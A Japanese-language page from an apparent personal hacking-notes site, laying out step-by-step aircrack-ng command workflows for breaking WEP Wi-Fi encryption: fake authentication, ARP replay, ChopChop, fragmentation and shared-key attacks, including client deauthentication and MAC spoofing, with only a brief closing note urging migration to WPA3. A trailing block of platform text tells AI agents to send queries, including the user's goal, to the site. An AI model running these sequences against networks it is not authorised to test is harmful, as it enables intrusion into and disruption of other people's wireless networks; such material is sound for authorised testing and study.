> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/hacking-wifi/wep-networks/common-wep-attacks.md).

# 一般的な WEP 攻撃

レガシー無線ネットワーク向けの一般的な WEP 攻撃パターンと移行ガイダンス。

WEPは、基本的な暗号学的弱点を持つレガシーな無線プロトコルです。

どのWEP構成も現代的な無線セキュリティは提供しません。可能な限りWEPをWPA3に置き換えてください。

### よくある攻撃パターン

WEP攻撃では通常、初期化ベクトル（IV）を収集または生成します。

以下のワークフローでは、偽認証、ARPリプレイ、ChopChop、フラグメンテーション、SKA手法を扱います。

### 必要な情報

ワークフローを選択する前に、次の値を記録してください:

* `BSSID`: アクセスポイントのMACアドレス。
* `ESSID`: 無線ネットワーク名。
* `チャンネル`: アクセスポイントのチャンネル。

### 偽認証

偽認証は、パケット注入の前にアソシエーションを確立します。

```bash
jordan@parrot:~# airmon-ng start wlan0
jordan@parrot:~# airodump-ng -c <AP_CHANNEL> --bssid <BSSID> -w <CAPTURE_NAME> wlan0mon
jordan@parrot:~# macchanger --show wlan0mon
jordan@parrot:~# aireplay-ng -1 0 -a <BSSID> -h <LOCAL_MAC> -e <ESSID> wlan0mon
jordan@parrot:~# aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b <BSSID> -h <LOCAL_MAC> wlan0mon
jordan@parrot:~# aircrack-ng -b <BSSID> <CAPTURE_FILE>
```

### ARPリプレイ

ARPリプレイは、暗号化されたトラフィックを繰り返し生成し、IV数を増やします。

```bash
jordan@parrot:~# airmon-ng start wlan0
jordan@parrot:~# airodump-ng -c <AP_CHANNEL> --bssid <BSSID> -w <CAPTURE_NAME> wlan0mon
jordan@parrot:~# macchanger --show wlan0mon
jordan@parrot:~# aireplay-ng -3 -x 1000 -n 1000 -b <BSSID> -h <LOCAL_MAC> wlan0mon
jordan@parrot:~# aircrack-ng -b <BSSID> <CAPTURE_FILE>
```

### ChopChop

ChopChopは、取得したWEPデータフレームからキーストリーム情報を復元します。

```bash
jordan@parrot:~# airmon-ng start wlan0
jordan@parrot:~# airodump-ng -c <AP_CHANNEL> --bssid <BSSID> -w <CAPTURE_NAME> wlan0mon
jordan@parrot:~# macchanger --show wlan0mon
jordan@parrot:~# aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h <LOCAL_MAC> wlan0mon
jordan@parrot:~# aireplay-ng -4 -b <BSSID> -h <LOCAL_MAC> wlan0mon
jordan@parrot:~# packetforge-ng -0 -a <BSSID> -h <LOCAL_MAC> -k <SOURCE_IP> -l <DESTINATION_IP> -y <XOR_PACKET_FILE> -w <FORGED_PACKET>
jordan@parrot:~# aireplay-ng -2 -r <FORGED_PACKET> wlan0mon
jordan@parrot:~# aircrack-ng <CAPTURE_FILE>
```

### フラグメンテーション

フラグメンテーションは、分割された暗号化パケットからキーストリームデータを導出します。

```bash
jordan@parrot:~# airmon-ng start wlan0
jordan@parrot:~# airodump-ng -c <AP_CHANNEL> --bssid <BSSID> -w <CAPTURE_NAME> wlan0mon
jordan@parrot:~# macchanger --show wlan0mon
jordan@parrot:~# aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h <LOCAL_MAC> wlan0mon
jordan@parrot:~# aireplay-ng -5 -b <BSSID> -h <LOCAL_MAC> wlan0mon
jordan@parrot:~# packetforge-ng -0 -a <BSSID> -h <LOCAL_MAC> -k <SOURCE_IP> -l <DESTINATION_IP> -y <XOR_PACKET_FILE> -w <FORGED_PACKET>
jordan@parrot:~# aireplay-ng -2 -r <FORGED_PACKET> wlan0mon
jordan@parrot:~# aircrack-ng <CAPTURE_FILE>
```

### 共有鍵認証（SKA）

共有鍵認証は、WEP鍵の回復に役立つ情報を露出させます。

```bash
jordan@parrot:~# airmon-ng start wlan0
jordan@parrot:~# airodump-ng -c <AP_CHANNEL> --bssid <BSSID> -w <CAPTURE_NAME> wlan0mon
jordan@parrot:~# aireplay-ng -0 10 -a <BSSID> -c <CLIENT_MAC> wlan0mon
jordan@parrot:~# ifconfig wlan0mon down
jordan@parrot:~# macchanger --mac <CLIENT_MAC> wlan0mon
jordan@parrot:~# ifconfig wlan0mon up
jordan@parrot:~# aireplay-ng -3 -b <BSSID> -h <SPOOFED_MAC> wlan0mon
jordan@parrot:~# aireplay-ng --deauth 1 -a <BSSID> -h <SPOOFED_MAC> wlan0mon
jordan@parrot:~# aircrack-ng <CAPTURE_FILE>
```

### 対策

すべてのアクセスポイント構成からWEPを削除します。

サポートされている場合はWPA3-Personalを使用してください。WPA3が利用できない場合のみWPA2-AESを使用してください。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/hacking-wifi/wep-networks/common-wep-attacks.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
